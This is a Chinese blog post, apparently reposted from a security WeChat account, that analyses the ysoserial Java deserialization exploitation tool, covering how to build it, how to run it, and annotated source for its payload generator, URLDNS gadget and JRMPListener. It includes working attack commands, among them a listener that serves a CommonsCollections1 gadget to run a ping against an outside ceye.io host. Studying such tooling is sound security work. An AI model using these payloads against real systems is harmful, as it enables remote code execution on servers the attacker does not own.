ysoserial系列之工具浅析

admin 2022年6月18日23:10:58评论1,186 views字数 12726阅读42分25秒阅读模式

0x00 前言

ysoserial系列文章第一篇,主要讲讲工具的用法和基本架构。

0x01 ysoserial简介

项目地址:https://github.com/frohoff/ysoserial

ysoserial是一款Java反序列化漏洞利用神器,其中集成了许多反序列化利用Gadgets。

0x02 下载编译

前提是安装好Java 1.7+和Maven 3.x+环境。

先clone最新版到本地:

git clone https://github.com/frohoff/ysoserial.git

进入ysoserial目录中,编译jar包:

mvn clean package -DskipTests

终端输出如图则说明成功编译:

ysoserial系列之工具浅析

此时在ysoserialtarget目录中就可以看到生成的ysoserial-0.0.6-SNAPSHOT-all.jar文件。

0x03 基本用法

官方介绍中的基本用法:

java -jar ysoserial.jar [payload] '[command]'

这种是运行ysoserial中的主类函数,比如常用的打DNSLog:

java -jar ysoserial-0.0.6-SNAPSHOT-all.jar URLDNS http://xxx.dnslog.cn/

此外,还有一种常见用法,即运行ysoserial中的exploit类,一般用于开启交互服务:

java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 'ping -c 2  rce.267hqw.ceye.io'

这里再提一下,java命令的-cp参数和-classpath参数是一样的,即指定类运行所依赖类路径、通常是类库和jar包。而java命令的-jar参数则直接执行jar包里面META-INFMANIFEST.MF文件中指定的Main-Class。

0x04 项目结构

主要看下源码下main目录的结构:

ysoserial系列之工具浅析

简单说明如下:

  • exploit:漏洞利用库,如JRMP服务端和客户端等;

  • payloads:payload库,即Gadgets集合,根据选择的Gadget来生成对应的字节码;

  • secmgr:安全管理器相关;

0x05 源码浅析

入口类GeneratePayload

在pom.xml中看到,ysoserial.jar的MainClass是ysoserial.GeneratePayload类:

<plugin>  <artifactId>maven-assembly-plugin</artifactId>  <configuration>    <finalName>${project.artifactId}-${project.version}-all</finalName>    <appendAssemblyId>false</appendAssemblyId>    <archive>      <manifest>        <mainClass>ysoserial.GeneratePayload</mainClass>      </manifest>    </archive>                 <descriptor>assembly.xml</descriptor>             </configuration>  <executions>    <execution>      <id>make-assembly</id>      <phase>package</phase>      <goals>        <goal>single</goal>      </goals>    </execution>  </executions></plugin>

看到GeneratePayload类,如注释:

public class GeneratePayload {  private static final int INTERNAL_ERROR_CODE = 70;  private static final int USAGE_CODE = 64;
public static void main(final String[] args) { // 判断输入参数,第一个为payload类型,第二个为payload的参数 if (args.length != 2) { printUsage(); System.exit(USAGE_CODE); } final String payloadType = args[0]; final String command = args[1];
// 获取payload指定的类,从ysoserial.payload包中寻找 // 这里用到了泛型,指定类型为ObjectPayload接口类的实现类 final Class<? extends ObjectPayload> payloadClass = Utils.getPayloadClass(payloadType); if (payloadClass == null) { System.err.println("Invalid payload type '" + payloadType + "'"); printUsage(); System.exit(USAGE_CODE); return; // make null analysis happy }
try { // 新建ObjectPayload类对象 final ObjectPayload payload = payloadClass.newInstance(); // 调用ObjectPayload类对象的getObject()函数来获取要序列化的payload对象,该对象将在反序列化时执行指定的命令 final Object object = payload.getObject(command); PrintStream out = System.out; // 序列化payload对象 Serializer.serialize(object, out); // 释放payload对象 ObjectPayload.Utils.releasePayload(payload, object); } catch (Throwable e) { System.err.println("Error while generating or serializing payload"); e.printStackTrace(); System.exit(INTERNAL_ERROR_CODE); } System.exit(0); }
// 打印输入参数帮助文档 private static void printUsage() { System.err.println("Y SO SERIAL?"); System.err.println("Usage: java -jar ysoserial-[version]-all.jar [payload] '[command]'"); System.err.println(" Available payload types:");
final List<Class<? extends ObjectPayload>> payloadClasses = new ArrayList<Class<? extends ObjectPayload>>(ObjectPayload.Utils.getPayloadClasses()); Collections.sort(payloadClasses, new Strings.ToStringComparator()); // alphabetize
final List<String[]> rows = new LinkedList<String[]>(); rows.add(new String[] {"Payload", "Authors", "Dependencies"}); rows.add(new String[] {"-------", "-------", "------------"}); for (Class<? extends ObjectPayload> payloadClass : payloadClasses) { rows.add(new String[] { payloadClass.getSimpleName(), Strings.join(Arrays.asList(Authors.Utils.getAuthors(payloadClass)), ", ", "@", ""), Strings.join(Arrays.asList(Dependencies.Utils.getDependenciesSimple(payloadClass)),", ", "", "") }); }
final List<String> lines = Strings.formatTable(rows);
for (String line : lines) { System.err.println(" " + line); } }}

这里借用上参考文章的图,会对GeneratePayload类中的大致调用过程比较清晰:

ysoserial系列之工具浅析

下面就先按上图顺序来逐个看看各个模块的作用。

ObjectPayload.Utils类

由前面看到在入口类GeneratePayload中调用得比较多的是Utils类。Utils类是位于ysoserial.payloads.ObjectPayload接口类的内部类,分析说明如注释:

package ysoserial.payloads;

import java.lang.reflect.Modifier;import java.util.Iterator;import java.util.Set;
import org.reflections.Reflections;
import ysoserial.GeneratePayload;

// ObjectPayload接口类,payload包中的Gadget类都是其实现类,且必须重写getObject()函数@SuppressWarnings ( "rawtypes" )public interface ObjectPayload <T> {
/* * return armed payload object to be serialized that will execute specified * command on deserialization */ public T getObject ( String command ) throws Exception;
// 内部类Utils public static class Utils {
// 通过扫描ClassPath来获取指定payload类 public static Set<Class<? extends ObjectPayload>> getPayloadClasses () { final Reflections reflections = new Reflections(ObjectPayload.class.getPackage().getName()); final Set<Class<? extends ObjectPayload>> payloadTypes = reflections.getSubTypesOf(ObjectPayload.class); for ( Iterator<Class<? extends ObjectPayload>> iterator = payloadTypes.iterator(); iterator.hasNext(); ) { Class<? extends ObjectPayload> pc = iterator.next(); if ( pc.isInterface() || Modifier.isAbstract(pc.getModifiers()) ) { iterator.remove(); } } return payloadTypes; }

// 在入口类GeneratePayload中调用获取指定payload类对象 @SuppressWarnings ( "unchecked" ) public static Class<? extends ObjectPayload> getPayloadClass ( final String className ) { Class<? extends ObjectPayload> clazz = null; try { // 直接通过类名来获取指定类 clazz = (Class<? extends ObjectPayload>) Class.forName(className); } catch ( Exception e1 ) {} if ( clazz == null ) { try { // 如果上述获取不到,则通过指定GeneratePayload类所在包路径来获取payloads包中指定类 return clazz = (Class<? extends ObjectPayload>) Class .forName(GeneratePayload.class.getPackage().getName() + ".payloads." + className); } catch ( Exception e2 ) {} } if ( clazz != null && !ObjectPayload.class.isAssignableFrom(clazz) ) { clazz = null; } return clazz; }

// 新建指定payload类对象,主要为java -cp用法即调用exploit模块,用于生成服务协议相关的交互式序列化利用链 public static Object makePayloadObject ( String payloadType, String payloadArg ) { // 获取指定payload类 final Class<? extends ObjectPayload> payloadClass = getPayloadClass(payloadType); if ( payloadClass == null || !ObjectPayload.class.isAssignableFrom(payloadClass) ) { throw new IllegalArgumentException("Invalid payload type '" + payloadType + "'");
}
final Object payloadObject; try { // 新建payload类对象 final ObjectPayload payload = payloadClass.newInstance(); // 调用指定payload类的getObject()方法,生成Gadget对象并返回 payloadObject = payload.getObject(payloadArg); } catch ( Exception e ) { throw new IllegalArgumentException("Failed to construct payload", e); } return payloadObject; }

// 释放payload对象 @SuppressWarnings ( "unchecked" ) public static void releasePayload ( ObjectPayload payload, Object object ) throws Exception { if ( payload instanceof ReleaseableObjectPayload ) { ( (ReleaseableObjectPayload) payload ).release(object); } }

public static void releasePayload ( String payloadType, Object payloadObject ) { final Class<? extends ObjectPayload> payloadClass = getPayloadClass(payloadType); if ( payloadClass == null || !ObjectPayload.class.isAssignableFrom(payloadClass) ) { throw new IllegalArgumentException("Invalid payload type '" + payloadType + "'");
}
try { final ObjectPayload payload = payloadClass.newInstance(); releasePayload(payload, payloadObject); } catch ( Exception e ) { e.printStackTrace(); }
} }}

payloads包

payloads包中的payload类是ysoserial工具的核心所在,其中包括大量反序列化Gadget链,当前只说说payload类在整个ysoserial工具中的运作流程,具体每个payload类的原理及构造利用过程将在后续系列中来说明。

前面注释中说到了payload包中的Gadget类都是ObjectPayload接口类的实现类,且必须重写其getObject()函数。也就是说,如果我们要自己添加新Gadget类,必须实现ObjectPayload接口类并重写getObject()函数,同时还需要编写main()函数中添加PayloadRunner测试方法。

以payload包中URLDNS类为例说明,其是实现了ObjectPayload接口,并重写了getObject()函数、该函数返回一个构造好的恶意的HashMap对象。比如在前面的基本用法java -jar ysoserial-0.0.6-SNAPSHOT-all.jar URLDNS http://xxx.dnslog.cn/中,指定了URLDNS这个payload类的,那么在GeneratePayload入口类中获取到payload类名和命令参数值后就会调用Utils类的getPayloadClass()函数获取到URLDNS类对象,再通过调用该URLDNS类的getObject()函数将命令参数值传入来构造恶意反序列化Gadget链对象并返回对象,最后序列化该恶意构造的Gadget对象输出后便释放:

@PayloadTest(skip = "true")@Dependencies()@Authors({ Authors.GEBL })public class URLDNS implements ObjectPayload<Object> {
public Object getObject(final String url) throws Exception {
//Avoid DNS resolution during payload creation //Since the field <code>java.net.URL.handler</code> is transient, it will not be part of the serialized payload. URLStreamHandler handler = new SilentURLStreamHandler();
HashMap ht = new HashMap(); // HashMap that will contain the URL URL u = new URL(null, url, handler); // URL to use as the Key ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.
Reflections.setFieldValue(u, "hashCode", -1); // During the put above, the URL's hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered.
return ht; }
public static void main(final String[] args) throws Exception { PayloadRunner.run(URLDNS.class, args); }
/** * <p>This instance of URLStreamHandler is used to avoid any DNS resolution while creating the URL instance. * DNS resolution is used for vulnerability detection. It is important not to probe the given URL prior * using the serialized object.</p> * * <b>Potential false negative:</b> * <p>If the DNS name is resolved first from the tester computer, the targeted server might get a cache hit on the * second resolution.</p> */ static class SilentURLStreamHandler extends URLStreamHandler {
protected URLConnection openConnection(URL u) throws IOException { return null; }
protected synchronized InetAddress getHostAddress(URL u) { return null; } }}

Serializer与Deserializer

ysoserial的序列化和反序列化分别写在Serializer类与Deserializer类中。

如前面所述GeneratePayload入口类的流程中,在获取到指定payload类的恶意构造的Gadget对象后,会调用Serializer类的serialize()函数进行序列化操作,看到源码就是Java原生的序列化操作:

public class Serializer implements Callable<byte[]> {  private final Object object;  public Serializer(Object object) {    this.object = object;  }
public byte[] call() throws Exception { return serialize(object); }
public static byte[] serialize(final Object obj) throws IOException { final ByteArrayOutputStream out = new ByteArrayOutputStream(); serialize(obj, out); return out.toByteArray(); }
public static void serialize(final Object obj, final OutputStream out) throws IOException { final ObjectOutputStream objOut = new ObjectOutputStream(out); objOut.writeObject(obj); }
}

与之对应的是Deserializer类,其中写了main()函数主要用于方便测试:

public class Deserializer implements Callable<Object> {  private final byte[] bytes;
public Deserializer(byte[] bytes) { this.bytes = bytes; }
public Object call() throws Exception { return deserialize(bytes); }
public static Object deserialize(final byte[] serialized) throws IOException, ClassNotFoundException { final ByteArrayInputStream in = new ByteArrayInputStream(serialized); return deserialize(in); }
public static Object deserialize(final InputStream in) throws ClassNotFoundException, IOException { final ObjectInputStream objIn = new ObjectInputStream(in); return objIn.readObject(); }
public static void main(String[] args) throws ClassNotFoundException, IOException { final InputStream in = args.length == 0 ? System.in : new FileInputStream(new File(args[0])); Object object = deserialize(in); }}

exploit包

前面都是说的由运行ysoserial中的主类函数即入口类GeneratePayload的整个调用流程,现在来看看运行ysoserial中的exploit类的整个调用流程。

exploit包主要用于开启交互式服务,比如前面基本用法说到的开启JRMP服务端:java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 'ping -c 2 rce.267hqw.ceye.io'

这里以JRMPListener类为例说明,只看main()函数部分,其实就是调用Utils类makePayloadObject()函数来获取Gadget对象并设置到开启的交互式服务中,然后run()开启服务、等待客户端连接后发送包括Gadget的协议报文让客户端反序列化执行恶意命令:

public static final void main ( final String[] args ) {
if ( args.length < 3 ) { System.err.println(JRMPListener.class.getName() + " <port> <payload_type> <payload_arg>"); System.exit(-1); return; }
// 调用Utils类makePayloadObject()函数来获取参数指定的payload类对象 // 其中通过传入命令参数调用该指定payload类对象的getObject()方法,生成Gadget对象并返回 final Object payloadObject = Utils.makePayloadObject(args[ 1 ], args[ 2 ]);
try { int port = Integer.parseInt(args[ 0 ]); System.err.println("* Opening JRMP listener on " + port); JRMPListener c = new JRMPListener(port, payloadObject); c.run(); } catch ( Exception e ) { System.err.println("Listener error"); e.printStackTrace(System.err); } Utils.releasePayload(args[1], payloadObject);}

参考文章的JRMPListener启动流程图,十分清晰:

ysoserial系列之工具浅析

PayloadRunner测试类

前面payloads包中说到了payload类的编写必须在main()函数中添加PayloadRunner测试方法,即调用PayloadRunner.run()函数。具体说明如注释:

// 用于从命令行本地运行漏洞利用的Gadget类@SuppressWarnings("unused")public class PayloadRunner {
public static void run(final Class<? extends ObjectPayload<?>> clazz, final String[] args) throws Exception { // 短暂替换JVM安全管理器为ExecCheckingSecurityManager来生成payload并返回序列化对象 // 为了保证payload的生成过程不会抛出异常 byte[] serialized = new ExecCheckingSecurityManager().callWrapped(new Callable<byte[]>(){ public byte[] call() throws Exception { final String command = args.length > 0 && args[0] != null ? args[0] : getDefaultTestCmd();
System.out.println("generating payload object(s) for command: '" + command + "'");
// 获取payload对象 ObjectPayload<?> payload = clazz.newInstance(); final Object objBefore = payload.getObject(command);
// 序列化payload对象并返回 System.out.println("serializing payload"); byte[] ser = Serializer.serialize(objBefore); Utils.releasePayload(payload, objBefore); return ser; }});
try { // 反序列化触发payload System.out.println("deserializing payload"); final Object objAfter = Deserializer.deserialize(serialized); } catch (Exception e) { e.printStackTrace(); }
}
// 获取默认测试命令即运行打开计算器 private static String getDefaultTestCmd() { return getFirstExistingFile( "C:\Windows\System32\calc.exe", "/Applications/Calculator.app/Contents/MacOS/Calculator", "/usr/bin/gnome-calculator", "/usr/bin/kcalc" ); }
private static String getFirstExistingFile(String ... files) { return "calc.exe";// for (String path : files) {// if (new File(path).exists()) {// return path;// }// }// throw new UnsupportedOperationException("no known test executable"); }}

0x06 参考

https://www.anquanke.com/post/id/229108


原文始发于微信公众号(98KSec):ysoserial系列之工具浅析

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年6月18日23:10:58
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   ysoserial系列之工具浅析https://cn-sec.com/archives/1127042.html

发表评论

匿名网友 填写信息